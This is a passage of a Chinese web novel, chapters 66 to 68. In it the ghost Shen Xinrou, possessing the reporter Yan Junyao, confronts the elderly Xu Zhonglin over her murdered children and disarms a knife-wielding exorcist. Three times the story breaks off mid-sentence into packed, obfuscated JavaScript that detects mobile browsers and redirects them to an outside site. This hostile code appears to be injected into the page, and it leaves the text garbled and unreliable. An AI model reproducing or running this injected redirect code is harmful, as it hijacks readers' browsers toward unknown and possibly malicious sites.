没曾想就见到宗叔神色不对,慌张成这副模样。 他急切问道:“宗叔,出了什么事?” 宗叔颤抖着手指着大门的防线,“颜小——不,不,是沈新柔过来了,她要找老爷子。” 话音未落,许修远一下子就冲下了楼,宗叔劝阻不住,赶紧敲响了许忠林的房间。 * 面前的大门终于被打开,颜珺瑶讪笑出声:“许家就是这么待客的?让人等了这么久——” 直到大门被完全拉开,她看到开门的人是许修远,顿了下,缓缓地眨了下眼,笑着说道:“哎呀,是你啊!” 许修远怔怔地看着面前这张熟悉的脸,妆容精致,一袭旗袍称身,就是上次在何师傅那里定做的那件,身姿妖娆。 面前的女子妩媚动人,她——绝对不是颜珺瑶。 他正要开口,里头的大门隐隐传出爷爷急切的声音,“小远,你别开门——” 颜珺瑶挑了挑眉,“二少爷这是怕我会害你,放心,孩子,我不会对你怎么样的,我是来找你爷爷的。” 说着,就摇曳生姿地步入了这道大门。 许修远跟在她身后,“二太奶奶,,求您不要伤害我爷爷,当年的事情我已经查的差不多了——” 就在这时,里面的大门砰地一声被甩开,许忠林喘着粗气站在门口,死死瞪着院子里的女人,颤抖着嘴唇说着:“你——你——你不要伤害那孩子——” 颜珺瑶捂着嘴笑起来,将搭在手臂上的风衣递到许修远手里,而后微微仰着下巴看向跟在许忠林身边的一个男人。 男人头发花白,五十岁左右,正眯着眼一直在观察着她。 呵,以为年纪比之前那个大,本事就会更好? 沈新柔敛了笑意,“你是二少爷从港城来的大师吧,游——祝——平!” 听到最后三个字,在场的人皆是一愣,沈新柔居然知道?! 难道她经常在老宅里出没,可为什么连祝大师却和赵先生都没察觉到呢? 沈新柔继续说道:“我知道你的能耐,你也确实有点本事,居然能让许忠林请你,但你可能——“ 她歪了下脑袋,轻声笑起来,“对付不了我——” 径直走到许忠林和游祝平面前,沈新柔盯着游祝平的眼睛说道:“你现在可以试试,说不定可以让我魂飞魄散,灰飞烟灭。” 她叹了口气,微微仰着头,视线移向许忠林脸上,神色一冷。 “大太太当年就是这么教育你的?我等了这么半天,却不请我进去,你不是一直想要见我吗?”她顿了顿,“当然了,我今天是来好好说话的,你是想坐下来好好说,还是——同归于尽?” 许忠林浑身一抖,侧过身体,用眼神示意跟在沈新柔身后的许修远赶紧离开老宅,不要进来,却没想到沈新柔似乎像是猜到了他的心思,扭头又说了一句:“对了,让那个孩子也进来。” 而后,袅袅婷婷地走到了沙发旁,坐了下去,仰头四处打量,感慨道:“这里头可是大变样,被困在房间这么多年,我现在才有机会好好观赏一下这里。” 蓦地,她语气陡变,“还不过来?不要浪费我的时间,二少爷。” * 许修远扶着许忠林在沈新柔对面坐下,游祝平也坐在了一旁的沙发上,宗叔则紧张地站在一旁。 沈新柔笑起来,指着自己的脸说道:“二少爷第一次见到颜家这孩子,是不是吓了一跳?觉得是我投胎转世,还是以为和我有血缘关系?想必二少爷把这孩子的祖宗十八代都查了个遍吧,可惜啊,这只是凑巧而已,或者说是缘分。” 她似笑非笑地看着许忠林,“呵呵,二少爷不愧是大太太亲自教导长大的孩子,说话做事很有大太太当年的风范。” 许忠林面容抽搐,“你——你到底要说什么?” 沈新柔右眉一动,“我知道你不高兴我说你的母亲,在你的眼里,大太太不会有任何错,品德高尚,知书达理,贤良淑德,她配得上世上所有的赞美。 你是她期盼多年,好不容易才有的亲生儿子,她对你当然好,甚至为了不让人抢你的家产,不惜弄死了我的儿子。” 许忠林大声道:“他是病死的。” 沈新柔阴沉着脸,冷声问道:“你口中的他,是谁?难道他没有名字吗?” 许修远蓦地开口:“许承望,大爷爷叫许承望。” 沈新柔一瞬间双眼泛了红,“对,我的儿子叫许承望,这是许君平给他起的名字,他说他的第一个儿子,承载了他所有的希望。但是你妈——” “赵——珺——惠,”她咬牙切齿,目露凶光,一字一顿地说出了这个名字,“她抢走了我的儿子,可转头有了自己的骨肉,我的儿子就变成了眼中钉,肉中刺。我原先也以为,孩子可能真的是生病才离开的,但直到我被你妈以疯病为由关在了那个房间里,我才知道了真相,是赵珺惠——” “闭嘴,你给我闭嘴!” 许忠林猛地站了起来,气得浑身发抖,“大哥分明就是病死的,你简直是胡言乱语!” 沈新柔眯了下眼,自然察觉到许忠林在站起的一瞬间往游祝平方向瞥去的目光,迅速往游祝平的方向看去。 在场的人都没想到已经五十岁的游祝平手脚居然还能这么灵活,丝毫不像这个年纪的大多数人,只见他手握一把匕首,迅速地往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199461|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈新柔这个方向扑来,就要捅向她。 许修远见状,大喊了一声“小心”,立时就要跑过去,却被许忠林拽住了手腕。 许忠林呵斥道:“不许过去。” 许修远不可思议地看向爷爷,手腕用力一转挣脱了爷爷的束缚,而沈新柔在看到即将扎向自己的那把刀,迅速出手攥住了对方的手腕,狠狠一拧,卸掉了对方的手肘。 下一瞬,她拔下了头上的簪子,头发瞬间散落下来的同时,簪子也抵上他的脖子。 “啊——” 游祝平吓得大叫了一声,刚想用上另一只手,却发现沈新柔的动作比他想象的要快,他的左手已经被她拧到了身后,脖子上传来刺痛。 而手上的刀早就掉了,砸在地面,铿锵有声,沈新柔直接踩在了脚下。 “别冲动,二太奶奶,他要是出了事,颜——” 许修远在一步之外停下,不敢再靠近,担心沈新柔情绪会更抵触,更激动。 而对面的许忠林噌地就站了起来,踉踉跄跄地往前走了两步,嚷道:“沈新柔,你现在是颜珺瑶,你想害死她,让她进监狱吗?” 沈新柔嗤笑一声,将目光投向老态龙钟的许忠林,“我说的没错,二少爷真的是从赵珺惠那里学了十成十的本事,嘴上说的好听,内里却藏了见不得人的勾当。你在这大言不惭说不能害了颜珺瑶这孩子,但你请来的所谓大师呢? 是觉得捅上一刀,这孩子绝不会死,顶多受伤,许家有钱有势,事后给点钱就可以了?我不会让她进监狱,但你——却想让她进医院,你可真是佛口蛇心。” “孩子,你比许忠林有良心。”她突然看向许修远,“许家这样的家风,却能把你培养得这么好,足以见得你母亲是个了不起的女人。” 偏头瞬间,沈新柔拉下了脸,再次沉声对许忠林道:”二少爷,你好好瞧瞧你请的大师有多厉害,颜家这孩子学过点武术,我只是用上了身体的本能,这位游大师就成这样了,你觉得他真能对付我吗? 不过他也算是有点本事——“ 她垂眸瞅了一眼痛的面目狰狞的男人,“大师啊大师,你这把刀可厉害了,也是这把刀让你们游家在港城有了一定的名声,好些有钱人都愿意请你。可惜阴阳之术这种本事,在太平年代很多都失传了,游家的传人,名声好听,但你可没有你爷爷当年的本事。 而这把刀,大部分人都叫它降魔刀,不过呢,你却给他起了个新名字,猪狗刀,在你眼里,阴魂就是猪狗。我很好奇,你这辈子杀过多少鬼?” 游祝平动都不敢动,生怕下一秒脖子被扎穿,可下一瞬他感觉到脖子上的痛感在加剧,他吓得再次大叫了一声,额头满是冷汗。 沈新柔手上稍稍使劲,咬着牙根道:“说——你杀了多少鬼?也好让二少爷知道你的能耐——” 许修远赶紧劝道:“二太奶奶,您别激动——” 许忠林使劲地用手杖捣着地面,“沈新柔,你说了今晚要好好说话,你——你先放了他。” “先让人动手的可是你,不过你放心,我不会让颜家孩子进监狱的。” 沈新柔的目光一一扫过另外的三个男人,“既然要好好说,那就坐下,这么剑拔弩张地,怎么谈?” 她又看向许修远,抬了抬下巴,示意他也过去。 许修远慢慢往后退去,眼睛却死死地盯着沈新柔手上的簪子,没有坐到对面,而是在右边坐下了。 沈新柔满意地笑了起来,“二少爷想让一个外人听到许家旧年的丑事吗?” 说到最后,游祝平就被用力一推,直接倒在了旁边。 “如果不想的话,就让这人离开这里。当然了,如果你不介意的话,也可以让他在这里一起听。” 许修远面色凝重,迟疑了片刻,才看向了站在身边的宗叔。 宗叔会意,赶紧过去扶起了游祝平。 游祝平还惦记着那把刀,沈新柔却直接将刀踢到了茶几下面,“刀留着,等你去把手接上了,再回来拿也不迟。” 宗叔闻言,不敢耽搁,一步不停地扶着游祝平往外面去。 直到大门关上,沈新柔才长出了一口气,坐了下来,抬眸看向对面,视线与许忠林的视线相撞。 半晌,她笑了起来,将侧脸的头发别到耳后,盯着簪尖上的血迹看了片刻,才抽了张纸,一边擦着,一边说道:“二少爷觉得承望不是赵珺惠害死的,而是病死的,是因为当时你还没满月,你所知道的,都是别人告诉你的,特别是你母亲。萍萍出事的时候,你也还没懂事,所以你必然是不会怀疑你母亲的话,所以你才会如此坚信。” 66. 第 66 章 沈新柔将纸扔到垃圾桶里,继续说道:“承望刚出事的时候,我虽然怀疑过大太太,但并没有证据,而且大太太在人前的时候都对孩子不错,之后我也只能接受孩子是因为生病走的。可在我被关到真的快要发疯的时候,家里一个小丫鬟偷偷跑来看我,给我带了我喜欢的糕点。 她相信我没疯,相信萍萍就是被你大姐故意带出去的,因为她知道承望是怎么死的。 当初我儿子生病时,她亲眼看到你母亲的奶妈给他吃了两粒药,可她之前明明听到医生嘱咐每次只要吃一粒就可以了。她当时还不知道是怎么回事,可当天夜里承望就没了,她才明白过来。” 许修远一瞬不瞬地看着沈新柔,眸中满是震惊,竟然是如此,竟然比他猜想的还要——令人难以接受。 沈新柔顿时泪流满面,“我的承望还不到两岁,就这样被害死了——” 她死死瞪着许忠林,“二少爷现在还觉得承望的死和你母亲没有关系吗?还是你认为这是奶妈做的,并不是你母亲亲自动手,所以你母亲就可以逃脱罪责,置身事外?” 许忠林握着拐杖的手青筋浮起,不自觉微微颤抖,梗着脖子,说道:“你怎么就能确定那个丫鬟不是在骗你?她就是故意要刺激你——” 沈新柔讥讽地笑了起来,“二少爷自己就不觉得你说的这话可笑吗? 那个小丫头虽然不是跟在我身边贴身照顾,但她是许家下人里唯一真心对我的,所有人都以为我疯了,或者是他们必须认为我疯了,只有她相信我,鼓励我要坚持下去,要想办法离开那个房间,这样才有机会为我的两个孩子讨回公道。 之后我想尽办法要和许君平见一面,可他却一直没有再来过我的房间看我。他是我当时在许家唯一的指望,但他却放弃我了。我绝望了,只能用自己的命来告诉你们家里,造业太多,必遭报应,如果老天没睁眼,那我就自己来。” 她缓了一口气,“只可惜啊,你母亲命太硬,让她的奶妈给她挡了灾,居然让她这个罪魁祸首活到了那么大岁数,不过这样也挺好的,让她亲眼看着,她的子孙一个个都因她造下的孽而死,不知她咽气前有没有后悔过? 啊,不不,大太太多高傲的一个人,怎么会后悔呢?就算后悔了,她也要咬碎牙齿往肚里吞。” 许忠林满脸涨红,呼吸开始变得急促,激动道:“你——你太狠了——” “爷爷!” 许修远迅速跑到许忠林身边,轻轻拍着他的胸腔,平顺他的呼吸,让他不要太过激动。 沈新柔哼了一声,像是听到了什么天大的笑话,“我确实造了孽,但也是被你们家逼的,特别是你母亲。我只想为我自己的孩子讨回公道,这一切都是你们自作自受,而且我敢承认,但你母亲赵珺惠呢?她在哪——” 许修远适合问道:“二太奶奶,您的要求是什么?” 沈新柔挑了下眉,也不恼他打断了自己的话,“你放心,你爷爷不会被我气死的,他估计还能活挺久的。不过看到曾经的稚嫩孩童,如今却垂垂老矣,脸上沟壑丛生——” 她叹了口气,又道:“我用自己的命来诅咒你们许家,但你们许家祖上应该是积了不少阴德,所以至今还能福报子孙,你们许家还没有断子绝孙。孩子,你说的没错,我确实有要求,但你爷爷未必愿意。” 她站了起来,俯视着靠在沙发上的许忠林,“我相信二少爷还是会坚持去寻觅什么大师,不把我除掉,二少爷怎么会安心?我不阻止,也阻止不了,凭许家的财力,说不定某天真的能找到一位真正的高人,让我彻底消失。 这么多年,你们家请过那么多所谓的大师,高人,真正厉害的是毕文启,他试图超度我却不能,只能把我困在三楼房间,说我怨念太深,希望我能慢慢放下执念,这样才能投胎转世,免受苦楚。我被困在楼上房间,有很长一段时间,我确实是恍惚的,可我最后又再次想起了一切。 希望你能请到比毕文启更厉害的先生,这样二少爷才能真的安下心来啊!” 沈新柔的神情一时竟变得有些迷蒙,自从自己死了之后,意识到自己变成了一缕幽魂,她恍恍惚惚,似乎有人在叫她,好像又看到过父亲,但她很快就忘记了,也不知道自己在哪里。 直到有一天她附身到了许忠林的大儿子身上,害死了他,她才想起了一切,可她却很快被毕文启给困了起来,但最后她复仇的决心胜过了一切。 许忠林的二儿子,还有那个货车司机,也是她间接害死的。当时那个开车的老头突然看到她,吓得犯了心梗,导致心肌梗死,所以才会发生车祸。而这个老头本就不是好东西,他十几年前欺负过云兰的孙女,一辈子都嚣张跋扈,欺软怕硬。弄死他,也算是帮了云兰,替她孙女出了口气。 但实际上,她的本意并不是要害死他们三个。父亲曾跟她说过,她害死了人,造了孽,就很有可能无法投胎转世,所以他一直让她不要动手,但她还是在意识模糊时害死了许忠林的长子。而这次,她完全清醒,并不想要许忠林二儿子的命,只是想让他看到萍萍,一步一步让许家想起萍萍来,承认赵珺惠和许曼珍做过的恶事。 可她也没料到会发生车祸。 她的罪孽太重了,她手上已经有好几条人命了,可能没有下一世了。 至于许忠林这个伥鬼,之所以一直没事,是因为他八字纯阳。许家祖上也不知道是什么风水,许忠林居然是纯阳命。鬼邪近不了身,也看不到鬼魂,让他平平安安地活到老。 一切都是命中注定的,如果许修远这孩子不好奇,没有三番两次去那个房间,许忠林可能到了进棺材的那一天还不会愿意承认。 她不相信这么多年许忠林没有怀疑过当年的事情,如果但凡他有这孩子一半的良心,她的两个孩子也早就瞑目了。 许修远偏头看向许忠林,但许忠林却闭上了眼睛,话是对沈新柔说的:“你有什么要求?” 沈新柔深吸了一口气,“我要你承认我的承望就是你母亲指使她的奶妈害死的,萍萍是你大姐许曼珍故意带出去,把孩子扔到路上,而她自己却一个人回了家,导致萍萍出意外而亡。 我要你到你们家祠堂去,跪在所有牌位前把这两件事情说清楚。还有,在族谱上加上沈新柔和许薇萍,再将我的承望改回到沈新柔名下,再在祠堂供奉上我们母子三人的牌位。” 许忠林缓缓睁开了眼睛,和沈新柔对视着,讥讽道:“那你是不是也要跪到我家祠堂去,亲口说出你害死了我的大姐,我的两个儿子呢?” 沈新柔仰头哈哈笑起来,“真是可笑,许曼珍有什么资格让我去跪拜她?她的死和我有什么关系?难道不是她活该吗?而且啊,二少爷让我借用谁的身体去?颜珺瑶吗?颜家孩子凭什么跪拜你们许家的先人?她可不是你们家的人。 借用你的身体?或是这个孩子的?要不然——你指定一个人?” 倏地,她敛了笑意,“再者,你们许家人到承望和萍萍的坟前祭拜,替赵珺惠和许曼珍致歉,并承认他们俩的身份,记着,喊的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不仅如此,你父亲还带走了你和许薇萍的尸骨另埋他处。这么多年,许薇萍的阴魂都是你家的后人一直养着的,那两封信也是他们做的。” 沈新柔当然明白他的话外之意,他在用她的亲人威胁她,她并不是毫无弱点,并不能为所欲为,他早晚能查出来。 呵,真是分不清大小王了,到这时候居然还敢威胁她。色厉内荏,实在可笑。 她目光停留在许修远脸上,话却是对许忠林说的。 “二少爷,你应该感谢你的儿媳给你生了这么一个好孩子,如果不是他,我不会只提这些要求,半个月之内,找到项链,让这孩子来找我。” 蓦地,口中泛起一股血腥气,一股热流从鼻腔里缓缓流了出来。 沈新柔下意识咽了口口水,许修远大惊,嘴上提醒她不要仰头,同时又急忙抽了好些纸奔到她面前。 沈新柔将头低下,接过纸,好半晌才把鼻血擦干净。 她努力地撑着,却还是整个人一晃,许修远赶紧把她扶到沙发上坐下,血腥味让她觉得很不舒服,很反胃。 许忠林看向她的眼神带上了讥讽,沈新柔笑起来,好一会儿才说道:“二少爷,趁着颜家孩子身体虚弱,你可以趴到地上捡起那把刀,当着这个孩子的面捅我几刀,说不定我真的就魂飞魄散了,再也不会缠着你们许家了。” 许忠林一言不发,一瞬不瞬地盯着她看,毫无反应。 沈新柔强撑着站起来,“看来是不打算捅我了,那我便先走了,记住了,只有半个月。” 67. 第 67 章 沈新柔缓缓地往大门去,许修远余光瞥见了那件放在沙发扶手上的风衣,赶紧拿起衣服追了上去。 到了院子外,沈新柔脚步已经踉跄,浑身发着抖,似乎很畏寒。 许修远快到来到她身边,将风衣披到了她身体,“我送你去医院,她的身体可能吃不消,需要看看。” 沈新柔正犹豫着要不要就在这时候离开这副身体之时,包里的手机就响了,她拿出手机看了一眼,许修远也无意间瞥见上面显示的名字。 张熙杰。 沈新柔深吸了一口气,接了起来。 手机里就传来张熙杰焦急万分的声音,“珺瑶,你怎么这么久还不出来?是不是出什么事了?” “我马上就走了,你早点睡吧!” “我就在刚才停车的地方,我送你回去。” 沈新柔一愣,这下不能离开了,还要强撑到家里。 她转头对许修远道:“熙杰来接我了。” 许修远了然,没有勉强,主动给她开了大门。 沈新柔刚迈出大门,忍不住回头看向许修远,欲言又止。 “二太奶奶——想说什么?” 沈新柔长叹了一口气,良久才道:“抱歉。” 许修远一顿,倏地神色微变,沉默以对。 她应该是为了父亲的车祸在跟自己道歉。虽然他清楚沈新柔及其两个孩子的可怜,也对其心生怜悯,但父亲的猝然离世是他心里的痛,不是一句抱歉就能消除的。 在父亲的事情上,他心中有恨,无法原谅。但他更明白,用恨意来面对已死之人,来处理几十年前的事情是行不通的。 沈新柔继续说道:“也许你不相信,但你父亲的死在我意料之外,我并不知道那辆货车会撞上你父亲的车子。” 说完,她拢了拢身上的风衣,缓步往前走去。 许修远愣在原地,目送着她的身影。 张熙杰恰好跑了过来,却见沈新柔脸色苍白,虚弱无力,甚至还披头散发,外套都脱了,瞬间暴起,二话不说,直接冲到许修远面前,嘴里骂着:“你TM的是畜生——” 说着就狠狠给了许修远一拳,沈新柔来不及阻止。 许修远也是猝不及防,生生地挨了这一下,沈新柔拼命要把张熙杰扯开。 “你疯了,和他没关系,给我住手。” 许修远知道他是误会自己了,在反应过来之后,立即躲开了他的第二下。 张熙杰听到沈新柔的话,倏地停了下来,震惊地看向她,嘴角抽动着,须臾才开口道:“是许老头?那他就是帮凶——” 沈新柔有些明白过来了,狠狠推了下他的脑袋,“鬼扯什么,我是来和他们说事的,什么都没发生,现在只是累了而已。” 她有些撑不住了,狠狠闭了下眼,虚弱地对许修远说道:“抱歉,他太冲动了。他什么都不知道,所以误会了。” “……”许修远咳了两声,“没事。” 张熙杰的视线在两人身上来回游移,确实什么都没听懂,最后还是对许修远诚挚道:“许总,抱歉了。” 许修远暗暗叹了口气,抿了抿唇,点了下头,轻轻“嗯”了一声。 沈新柔拍了下张熙杰的后脑勺,“走了。” * 坐上车,沈新柔就虚弱地说不了话了,歪着脑袋靠在座椅上,强撑着让自己不要睡过去。 车子很快拐出了东湖路,张熙杰瞅了好几次女主,还是忍不住确认道:“他们家——真的没欺负你?” 沈新柔从鼻腔里挤出一个声音,“嗯。” “你和许家到底有什么事,要这个时间过来?” 沈新柔不想把他扯进来,自然不可能告诉他,直接说道:“那你要不要找个女的过来帮我检查一下,是不是被人怎么呢?” 张熙杰一噎,轻咳一声,“我——我不是这个意思。” 沈新柔嘀咕道:“你这啰嗦的性子,也不知道随了谁,你爷爷明明也不这样。” 张熙杰见她还有心思开玩笑,便大大松了一口气,说明应该是真的没有被欺负。 于是笑着接话道:“嘿,你不是知道嘛,我随我妈呀,我爸从小就不爱说话,性格内向,我妈老说他是个闷葫芦。” 沈新柔轻笑出声,来了兴趣,“嗯,还有呢?” 张熙杰扭头看了她一眼,“还有什么?” “就是你家里的事情。” 张熙杰笑着道:“你是想让我说我家里的事情啊,那我给你讲几件你不知道的吧!” 沈新柔静静地听着,时不时弯起嘴角,轻笑出声。 这样简单幸福的日子,蓦地就让她回想起以前和爹娘在一起的那些时光,自由,快乐。 如果没有遇到许君平,她和她的家人的人生,一定会过得很好。娘不会因为她的事而悲痛过度,抑郁而终,爹也不会为了要给她报仇,死前受尽病痛的折磨。弟弟也不会年纪轻轻就父母双亡,一个人背井离乡,自谋生路。 如果当年自己没有违逆爹娘,不进许家的门,这一切的苦难就不会发生。是她的自私害了自己的家人,害了自己的后辈。 可人生,没法重来。 车子缓缓停下,沈新柔这才回过神来,嘱咐了一句慢点开车,就推开车门下去了。 没想到张熙杰也跟着下车了,沈新柔瞅着他,就听他说道:“我送你到门口,你现在这样,我都担心半路突然晕了,大半夜的都没人发现,你又不愿意去医院。” 沈新柔没拒绝,在她的陪同下,回到了家门口,而后又蹑手蹑脚,跟做贼一样地进了屋。 趁着最后一丝力气,简单地收拾了一下,挨上枕头的那一刻,沈新柔才离开了颜珺瑶的身体。 她对这个孩子心存愧意,自己欠了她的,只希望熙杰能替自己好好补偿她。 这孩子身上有着骨子里的善良和执着,就和她的太奶奶一样。当年自己只是恰好路过帮了她,没想到善良淳朴的她却记了一辈子,至今她的后代还在祭拜着自己。 * 许修远回到屋里,许忠林还是僵坐在沙发上,一言不发,沉着脸,陷在自己的思绪里。 许修远来到他身边,想要扶他上楼休息,许忠林却不动,而是问道:“她和你说了什么?” 许修远摇头,“她没和我说什么,是我想送她去医院,她在颜珺瑶身上待了很久,我担心颜珺瑶身体会吃不消。” “刚才是谁在吵闹?” 许修远耐心地解释道:“她让颜珺瑶的陪朋友来接她,有了些误会,没什么大事。 很晚了,您该休息了,我扶您上去。” 许忠林忍不住又问:“你就没有什么想要问我的吗?” “呵呵,有什么想问的,也要等明天休息好了再问,您的身体要紧。” * 翌日,颜珺瑶沉沉地睡着,对于自己定的闹钟无知无觉,最后还是钱艺文担心她迟到了,直接进了房间想要把她叫醒。 颜珺瑶被强制开机,整个人还是晕乎的,一只眼睛眯着一条缝,认出了自己的老妈,很快又闭上了,嘴上还不忘回应:“太困了,再睡儿——” 钱艺文轻轻拍着她的脸,“快醒醒,再不醒,待会儿我和你爸都出门了,你可就真的迟到了。” 说完,就直接把她从床上拽了起来。 “昨晚不是九点多就睡着了,喊你吃馄饨都没应,这都睡了快十个小时了,还困?半夜出门做贼了?” 颜珺瑶只好迷迷糊糊地下床洗漱,直到坐到餐桌前,还是一副随时都能睡过去的样子。 钱艺文忍不住说她:“怎么睡一晚上脸色突然变差了?昨晚到底几点睡的?” 颜珺瑶喝了一口豆浆,有气无力地叹了口气,看着面前的早点却一点胃口都没有。 “就是九点多睡的,昨天跑了一下午。应该是做噩梦的缘故,越睡越累。” 钱艺文和颜志华齐齐看向她,异口同声地问道:“最近又开始做噩梦了?” 颜珺瑶拿起一个菜包,咬了一口,“就昨晚,还挺可怕的,我梦到自己差点杀人了,可不就越睡越累。” 颜志华让她伸出胳膊,给她诊脉,钱艺文皱眉又开始絮叨。 “就是你采访的那些什么事故现场看多了,你才会做噩梦,你又偏喜欢当记者。 老颜,咋样?” 颜志华顿了下,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209124|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“脉象有些虚浮,气血不足,还是要继续好好补补!” 他有些不解地看向自家闺女,“前两天脉象还不是这样,你这两天是不是工作太累了?” 颜珺瑶脱口而出,还好啊—— 蓦地,她想到了什么,连忙改口了,“嗯,是挺累的,不过明天我就休息了。” * 颜珺瑶勉强吃了一个包子,在老妈不满的眼神中离开了餐桌,回到了房间。 昨晚——难道自己不是做梦,而是沈新柔又借用了自己的身体? 时间有些来不及了,她没有多余的时间琢磨,只好先收拾了去上班,无意间一瞥,突然注意到垃圾桶最上面有几片黄色的碎纸片。 有些眼熟—— 她捡起两片仔细一瞧,居然是黄符。 于是立即从包里把荷包翻找出来,扯开抽带,里面空空如也。 爸妈从不会随意动她的东西,那只能是——沈新柔? 沈新柔撕掉了严婆婆给她的平安符。 她这么做,是不是想告诉我,之后她还会借用自己的身体——不对,不对—— 这符纸,应该是她借用了自己的身体之后才撕掉的。既然这张符纸都不影响她上身,为什么还要撕掉呢? 难道是——为了许薇萍? 好像也只有这种解释。 这么看来,昨晚她的确是借用了自己的身体,然后去了许家老宅? 怪不得自己早上起来擤鼻涕的时候,有血块,看来昨晚是又流鼻血了。 所以昨晚她是直到回到家里,躺到床上,才离开自己的身体吗?以至于她一整晚都以为自己是在做梦。 倏地,她打了个寒颤。 虽然她已经经历过多次被上身,也看到过许薇萍的阴魂,但昨晚那种情况,在自己一无所知,甚至迷迷糊糊以为是做梦的情况下,她还是感到了恐惧。 她决定今晚回到自己的出租屋,自己被沈新柔母女一直缠着,躲不开也就算了,但她不想爸妈受什么影响。 没时间再想了,继续耽误下去真的得迟到了,颜珺瑶只能拎起包,拖着疲惫的躯壳赶去上班。 刚出小区,她正要打车,去见不远处停着的一辆车上,下来了一个熟悉的身影。 “珺瑶——” “许总?!” 颜珺瑶快步走到他面前,眨了眨干涩的眼睛,有些奇怪道:“你怎么——” 倏地,她想到了什么,“哦,你是特意来接我上班的?” 许修远点头承认,“嗯,上车吧,我送你去单位。” 颜珺瑶也不客套,跟许修远一起坐到了车子后座。她本想问问昨晚的具体情况,但担心吓到前面的司机,没敢问出口。 许修远看了她好一会儿,“你今天脸色不好——” “嗯,是有点累,就像是写稿子熬了一晚上的那种累,不过我明天就能休息了,补补觉。” 许修远轻咳一声,“要不要去——医院看看?” 颜珺瑶笑起来,“我爸刚刚给我把过脉了,没什么大问题。就是困,忙起来就感觉不到了。对了——” 她转移话题,“你是不是等了很久?怎么不给我打电话?” “顺路,就过来了。” 颜珺瑶一愣,眉眼弯弯地说道:“谢谢啦,我今天刚好起晚了,这下不会迟到了。” 临下车前,许修远突然说道:“中午——要是有时间,一起吃饭,好吗?” 颜珺瑶直觉应该是许修远要告诉她昨晚发生的事情,便点了点头,但又补了一句:“不过如果我出去采访了,会提前给你发微信,你就不用白跑一趟了。” * 到了办公室没多久,所有人就被叫去开会。 王宇阳在上面侃侃而谈,唾沫横飞,刻意坐在会议桌最边上位置的颜珺瑶昏昏欲睡,上下眼皮直打架,全然不知道主任啰嗦了些什么。 直到一声很刻意的咳嗽声,旁边的吕嫣用手指戳了戳她的胳膊,低声提醒她:“主任已经瞧你好几次了。” 颜珺瑶赶紧坐直了身子,望向主任的方向。果不其然,主任正在看着她这个方向,和这个笑面虎的目光撞了个正着。 68. 第 68 章 主任脸上仍是笑眯眯的,很快移开视线,继续着他的第三点,没有开口说她。 颜珺瑶抓了抓脸醒神,她知道主任现在面对自己还是有点心虚的。 因为那天主任就是帮着许忠林把自己骗过去,怪不得路上什么都不告诉自己。 在餐桌上,两人装模作样地聊了很多,乍听起来真的就像是在聊什么合作的事情,可她又不傻。之后回去的时候,还是主任开车,时不时就瞅她一眼,她知道主任是在担心她是否生气。 她当然生气,谁还没个脾气。 这人为了和许家攀上关系,不惜把她当做人情,真是可恶。这次幸好只是许家老爷子想要和她见面而已,如果以后要是有人提了什么过分的要求,这个笑面虎说不定也做得出来。 她忍不住就问了:“主任,你刚才是闹肚子吗?出去了那么久!” 主任应该是没料到她会这么问,一时有些语塞,尴尬地笑了笑,想要就坡下驴,“是啊,最近肠胃不好。” 颜珺瑶接话道:“哦,那肠胃不好,以后还是少去应酬比较好。我也不习惯这种场合,主任以后还是换别人吧!” 主任嘴角抽了抽,“呵,我这不是因为你和许家老爷子认识嘛,所以才叫你来,既然你不喜欢,以后就不让你跟着了。” 主任当时肯定被她的话给气到了,但他没有发作,而且之后在工作上也没有为难过她,大概是顾忌着许老爷子。 这个贱人! 颜珺瑶在心里暗骂,收回视线,和对面的张熙杰互相瞅了一眼,挤出一个笑容。 终于等到笑面虎说了声今天的会议就到这里,她的双眼噌地张大了。 她要喝咖啡,一离开这里就要去冲一杯速溶咖啡,然后一口喝光。 却不想,紧接着笑面虎幽幽地来了句:“今天的会议内容很重要啊,每个人回去都要写一篇感想,两天之后交啊!” 颜珺瑶再次在心里骂开了,这个大贱人!说他不是故意针对她,鬼都不信。 * 颜珺瑶愤愤地回到了工位,拿上杯子就去了茶水间。 张熙杰站在她边上,让她不用担心,回头参考他的就可以了。 颜珺瑶松了口气,果然还得是好朋友啊,救她于水火。 泡好咖啡,她刚要走,张熙杰却拉住她,见只有他们俩,于是低声问她。 “昨晚到底去许家做什么?” 颜珺瑶先是一愣,“你怎么——” 她赶紧住了嘴,将后面的半句咽了回去。身体虚果然影响很大,就连脑子反应都不如以前了。 张熙杰会知道这件事,不可能是沈新柔告诉他的,很大可能是去的路上碰见他了。只是他怎么大半夜地出门?自己昨晚也没有接到什么临时去现场的电话呀! 张熙杰以为她说的是“你怎么又问”,于是解释道:“你先别急啊,我就是实在好奇,就算你真的找他们爷孙俩有事要说,怎么还挑了个大半夜的时间?你就不怕半路被人打劫吗?” 颜珺瑶抿了抿唇,一时不知道怎么回答,是真的不知道,也不敢随意回答。 张熙杰拍了下她的肩膀,“算了,我不勉强你说,如果你以后愿意告诉我了,我再听。” 